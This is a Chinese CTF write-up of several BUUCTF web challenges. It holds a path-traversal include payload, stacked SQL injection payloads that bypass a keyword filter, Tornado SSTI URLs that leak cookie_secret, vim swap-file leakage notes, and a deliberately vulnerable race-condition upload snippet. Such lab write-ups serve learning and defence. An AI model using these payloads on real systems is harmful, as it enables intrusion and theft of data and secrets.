BUUCTF
好多之前比赛没做也没来得及补的题,良心平台QAQ
warmup
source.php里源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
可以看到我们需要get传递file参数;
checkFile函数检查了传递参数;
mb_strpos函数检测第一次出现? 的位置;
mb_substr函数返回了file参数0和第一个问号之间的值,
in_array函数检测在$whitelist是否含$_page的值也就是source.php和hint.php
之后存在include函数,所以我们构造payload:
?file=hint.php?/../../../../../../../../ffffllllaaaagggg
hint.php?/被当成了目录
拿到flag
随便注
测试1’or 1=1#可行,存在sql注入
1’order by 2#可行,到3报错,查询列数为2
然后测试 1’union select 1,2#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
select被过滤了,show没有被过滤,构造闭合语句进行
查询
堆叠注入:
在mysql中前语句闭合分号结束后后面的语句也会被执行
查询:
1';show databases;
1';show tables;
1';show columns from 1919810931114514;
(不知道为啥查不出来
破案了,字符串作为表名需要加反引号
1';show columns from `1919810931114514`;
‘
但到此处就无法查询字段的内容了
存储过程绕过
sql serve中给变量幅值可以用
set @变量名='字符串';
prepare语句用于预备一个语句,并指定语句名称,以后可用名称引用该语句。语句名称对大小写不敏感。from后可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须表现为一个单一的SQL语句,而不是多个语句。
语法
prepare 语句定义名称 from 变量名称;
execute语句用于执行命令
语法
execute 变量名称;
payload:
1';Set @a=concat('s','elect * from `1919810931114514`');prepare s from @a;execute s;
strstr对set进行了一步过滤,不过没什么影响,大小写就能绕过(这么看这种解法应该是预期解。
重命名
正则中没有过滤alert和rename关键字
alter和rename命令
alter table 原表名 rename to 新表名;
alter table 表名 change 要修改的字段名 新字段名 新字段的数据类型;
查询的是words表,有两列id和data;
我们猜测他的查询语句为select * from words where id=
1.将words表改名为其它名字
2.1919810931114514改名为words
3.将flag改名为id;
然后直接查询1就可以找到flag;
题目环境好像出现了一些问题,没有复现成功QAQ
suctf sql也是堆叠注入;绕了半天没绕过去,后来发现是git源码泄露,select *一行就查出来了QAQ
easy tornado
开始以为是hash长度拓展攻击,但是没有secret长度,file参数传递也要是/fllllllllllllag,试了半天没试出来QAQ,看了writeup,error那存在ssti,(自闭了 貌似是render提示了是ssti
http://web9.buuoj.cn/error?msg={{globals}}
加号被过滤了2不行,其他测试都是orz
http://web9.buuoj.cn/error?msg={{handler.settings}}
handler.settings内有cookie_secret(又自闭了,为什么QAQ
tornado框架里handler.settings保存一些配置选项
settings,使用tornado.web.Application(handler, **settings)
我们却不知道这个settings到底是什么,究竟有什么作用,今天就来介绍一下
settings是一个字典,主要保存一些配置选项
拿到cookie_secret就拿到flag了
swp
当vim不正常退出时,比如你编辑的文件config.php,由于vim的不正常退出,此时会在同目录下生成:config.php.swp,由于此类格式文件无法解析,此时便可以通过浏览器直接下载此敏感文件!
upload
补充一下条件竞争:
下面以相关操作逻辑顺序设计的不合理为例,具体讨论一下这类问题的成因。在很多系统中都会包含上传文件或者从远端获取文件保存在服务器的功能(如:允许用户使用网络上的图片作为自己的头像的功能),下面是一段简单的上传文件释义代码:
<?php
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
//...
//check file
unlink($_GET['dst']);
//...
}
?>
这段代码看似一切正常,先通过copy($GET[‘src’],$GET[‘dst’])将文件从源地址复制到目的地址,然后检查$GET[‘dst’]的安全性,如果发现$GET[‘dst’]不安全就马上通过unlink($_GET[‘dst’])将其删除。但是,当程序在服务端并发处理用户请求时问题就来了。如果在文件上传成功后但是在相关安全检查发现它是不安全文件删除它以前这个文件就被执行了那么会怎样呢?
假设攻击者上传了一个用来生成恶意shell的文件,在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。
由上述过程我们可以看到这种“先将猛兽放进屋,再杀之”的处理逻辑在并发的情况下是十分危险的,极易导致条件竞争漏洞的发生。
仍以上述情境为例,攻击者通过不断地发起访问上传的恶意文件请求的方法成功的将原有处理不安全文件,一个脚本多线程发包,一个脚本不断去访问上传的文件生成shell文件
上传文件E→删除不安全文件E
的业务逻辑变成了
上传文件E→访问执行文件E,生成shell文件S→删除不安全文件E
不安全文件E虽然被删除了,但是有它生成出来的shell文件S却保留在了服务器中,对攻击者来说这个shell文件S才是后续攻击的关键。